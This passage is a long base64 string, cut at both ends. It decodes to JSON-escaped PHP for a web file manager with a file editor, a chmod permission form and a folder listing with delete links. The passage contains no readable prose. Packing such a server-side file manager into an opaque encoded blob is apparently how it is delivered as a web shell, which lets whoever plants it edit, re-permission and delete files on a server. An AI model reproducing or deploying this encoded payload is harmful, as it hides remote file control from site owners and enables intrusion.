ocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImJvcmRlci0wXCI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICRpaSA9IDMzOTk7XG4gICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRpc19saW5rID0gaXNfbGluaygkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJztcbiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJ1wvJyAuICRmKTtcbiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7XG4gICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKFwiRiBkIFkgSDppOnMuXCIsICRtb2RpZl9yYXcpKTtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gXCJcIjtcbiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBsbmcoJ0ZvbGRlcicpO1xuICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmKSksIC00KTtcbiAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsgXG4gICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7XG4gICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lcl9pZCA9IGZpbGVvd25lcigkcGF0aCAuICdcLycgLiAkZik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyX2lkICE9IDApIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3duZXJfaW5mbyA9IHBvc2l4X2dldHB3dWlkKCRvd25lcl9pZCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lcl9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9ICAkb3duZXJfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXBfaWQgPSBmaWxlZ3JvdXAoJHBhdGggLiAnXC8nIC4gJGYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwX2luZm8gPSBwb3NpeF9nZXRncmdpZCgkZ3JvdXBfaWQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cF9pbmZvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gICRncm91cF9pbmZvO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX2xvZyhcImV4Y2VwdGlvbjpcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LXRkXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1pbnB1dFwiIGlkPVwiPD9waHAgZWNobyAkaWkgPz5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYygkZikgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCI8P3BocCBlY2hvICRpaSA/PlwiPjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGVuYW1lXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICdcLycgLiAkZiwgJ1wvJykpID8+XCI+PGkgY2xhc3M9XCI8P3BocCBlY2hvICRpbWcgPz5cIj48XC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICgkaXNfbGluayA/ICcgJnJhcnI7IDxpPicgLiByZWFkbGluaygkcGF0aCAuICdcLycgLiAkZikgLiAnPFwvaT4nIDogJycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCBcIjBcIiwgU1RSX1BBRF9MRUZUKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9XCJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzsgPz5cIj48P3BocCBlY2hvICRtb2RpZiA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9XCJDaGFuZ2UgUGVybWlzc2lvbnNcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10gPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIG